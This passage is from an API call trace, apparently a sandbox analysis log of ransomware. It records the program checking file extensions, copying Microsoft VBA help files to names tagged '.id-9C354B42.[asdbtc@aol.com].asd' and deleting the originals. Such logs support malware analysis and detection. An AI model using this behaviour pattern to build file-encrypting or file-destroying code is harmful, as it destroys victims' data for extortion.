returned 77 [0057.038] lstrlenW (lpString=".zip") returned 4 [0057.038] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.038] lstrlenW (lpString=".rar") returned 4 [0057.038] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.038] lstrlenW (lpString=".bz2") returned 4 [0057.038] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.038] lstrlenW (lpString=".7z") returned 3 [0057.038] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.038] lstrlenW (lpString=".dbf") returned 4 [0057.038] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.038] lstrlenW (lpString=".1cd") returned 4 [0057.038] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0057.038] lstrlenW (lpString=".jpg") returned 4 [0057.038] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.039] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0057.039] lstrlenW (lpString="VBENDF98.CHM") returned 12 [0057.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.040] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=72031) returned 1 [0057.040] CloseHandle (hObject=0x1f0) returned 1 [0057.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0057.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.040] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.040] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0057.040] GetLastError () returned 0x0 [0057.040] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x1195f, lpOverlapped=0x0) returned 1 [0057.044] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x11960, lpOverlapped=0x0) returned 1 [0057.045] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0057.045] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.046] SetEndOfFile (hFile=0x220) returned 1 [0057.046] CloseHandle (hObject=0x220) returned 1 [0057.046] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.046] SetEndOfFile (hFile=0x1f0) returned 1 [0057.047] CloseHandle (hObject=0x1f0) returned 1 [0057.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.048] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0057.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.048] lstrlenW (lpString=".doc") returned 4 [0057.048] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.048] lstrlenW (lpString=".docx") returned 5 [0057.048] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0057.048] lstrlenW (lpString=".pdf") returned 4 [0057.048] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.048] lstrlenW (lpString=".xls") returned 4 [0057.048] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.048] lstrlenW (lpString=".xlsx") returned 5 [0057.048] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0057.048] lstrlenW (lpString=".ppt") returned 4 [0057.048] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.048] lstrlenW (lpString=".zip") returned 4 [0057.048] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.048] lstrlenW (lpString=".rar") returned 4 [0057.048] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.048] lstrlenW (lpString=".bz2") returned 4 [0057.048] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.048] lstrlenW (lpString=".7z") returned 3 [0057.049] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.049] lstrlenW (lpString=".dbf") returned 4 [0057.049] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.049] lstrlenW (lpString=".1cd") returned 4 [0057.049] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.049] lstrlenW (lpString=".jpg") returned 4 [0057.049] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.049] lstrlenW (lpString=".doc") returned 4 [0057.049] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.049] lstrlenW (lpString=".docx") returned 5 [0057.049] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0057.049] lstrlenW (lpString=".pdf") returned 4 [0057.049] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.049] lstrlenW (lpString=".xls") returned 4 [0057.049] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.049] lstrlenW (lpString=".xlsx") returned 5 [0057.049] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0057.049] lstrlenW (lpString=".ppt") returned 4 [0057.049] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.049] lstrlenW (lpString=".zip") returned 4 [0057.049] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.049] lstrlenW (lpString=".rar") returned 4 [0057.049] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.049] lstrlenW (lpString=".bz2") returned 4 [0057.049] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.050] lstrlenW (lpString=".7z") returned 3 [0057.050] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.050] lstrlenW (lpString=".dbf") returned 4 [0057.050] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.050] lstrlenW (lpString=".1cd") returned 4 [0057.050] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0057.050] lstrlenW (lpString=".jpg") returned 4 [0057.050] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.050] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0057.050] lstrlenW (lpString="VBHW6.CHM") returned 9 [0057.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.050] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=58026) returned 1 [0057.050] CloseHandle (hObject=0x1f0) returned 1 [0057.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0057.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.051] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.051] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0057.051] GetLastError () returned 0x0 [0057.051] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0057.054] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0057.056] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0057.056] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.056] SetEndOfFile (hFile=0x220) returned 1 [0057.056] CloseHandle (hObject=0x220) returned 1 [0057.056] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.056] SetEndOfFile (hFile=0x1f0) returned 1 [0057.057] CloseHandle (hObject=0x1f0) returned 1 [0057.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.058] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0057.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.058] lstrlenW (lpString=".doc") returned 4 [0057.058] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.058] lstrlenW (lpString=".docx") returned 5 [0057.058] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.058] lstrlenW (lpString=".pdf") returned 4 [0057.058] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.058] lstrlenW (lpString=".xls") returned 4 [0057.058] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.058] lstrlenW (lpString=".xlsx") returned 5 [0057.058] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.058] lstrlenW (lpString=".ppt") returned 4 [0057.058] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.058] lstrlenW (lpString=".zip") returned 4 [0057.058] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.059] lstrlenW (lpString=".rar") returned 4 [0057.059] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.059] lstrlenW (lpString=".bz2") returned 4 [0057.059] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.059] lstrlenW (lpString=".7z") returned 3 [0057.059] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.059] lstrlenW (lpString=".dbf") returned 4 [0057.059] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.059] lstrlenW (lpString=".1cd") returned 4 [0057.059] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.059] lstrlenW (lpString=".jpg") returned 4 [0057.059] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.059] lstrlenW (lpString=".doc") returned 4 [0057.059] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.059] lstrlenW (lpString=".docx") returned 5 [0057.059] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.059] lstrlenW (lpString=".pdf") returned 4 [0057.059] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.059] lstrlenW (lpString=".xls") returned 4 [0057.059] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.059] lstrlenW (lpString=".xlsx") returned 5 [0057.059] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.059] lstrlenW (lpString=".ppt") returned 4 [0057.059] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.060] lstrlenW (lpString=".zip") returned 4 [0057.060] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.060] lstrlenW (lpString=".rar") returned 4 [0057.060] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.060] lstrlenW (lpString=".bz2") returned 4 [0057.060] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.060] lstrlenW (lpString=".7z") returned 3 [0057.060] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.060] lstrlenW (lpString=".dbf") returned 4 [0057.060] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.060] lstrlenW (lpString=".1cd") returned 4 [0057.060] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0057.060] lstrlenW (lpString=".jpg") returned 4 [0057.060] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.060] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0057.060] lstrlenW (lpString="VBLR6.CHM") returned 9 [0057.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.061] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=944994) returned 1 [0057.061] CloseHandle (hObject=0x1f0) returned 1 [0057.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0057.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.061] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.061] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0057.062] GetLastError () returned 0x0 [0057.062] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0057.381] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0057.600] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0057.600] WriteFile (in: hFile=0x220, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.600] SetEndOfFile (hFile=0x220) returned 1 [0057.600] CloseHandle (hObject=0x220) returned 1 [0057.601] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0057.601] SetEndOfFile (hFile=0x1f0) returned 1 [0057.609] CloseHandle (hObject=0x1f0) returned 1 [0057.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.610] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0057.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.610] lstrlenW (lpString=".doc") returned 4 [0057.610] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.610] lstrlenW (lpString=".docx") returned 5 [0057.610] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.610] lstrlenW (lpString=".pdf") returned 4 [0057.610] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.610] lstrlenW (lpString=".xls") returned 4 [0057.610] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.610] lstrlenW (lpString=".xlsx") returned 5 [0057.610] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.610] lstrlenW (lpString=".ppt") returned 4 [0057.610] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.611] lstrlenW (lpString=".zip") returned 4 [0057.611] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.611] lstrlenW (lpString=".rar") returned 4 [0057.611] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.611] lstrlenW (lpString=".bz2") returned 4 [0057.611] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.611] lstrlenW (lpString=".7z") returned 3 [0057.611] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.611] lstrlenW (lpString=".dbf") returned 4 [0057.611] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.611] lstrlenW (lpString=".1cd") returned 4 [0057.611] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.611] lstrlenW (lpString=".jpg") returned 4 [0057.611] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.611] lstrlenW (lpString=".doc") returned 4 [0057.611] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.611] lstrlenW (lpString=".docx") returned 5 [0057.611] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.611] lstrlenW (lpString=".pdf") returned 4 [0057.611] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.611] lstrlenW (lpString=".xls") returned 4 [0057.611] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.611] lstrlenW (lpString=".xlsx") returned 5 [0057.611] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.611] lstrlenW (lpString=".ppt") returned 4 [0057.611] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 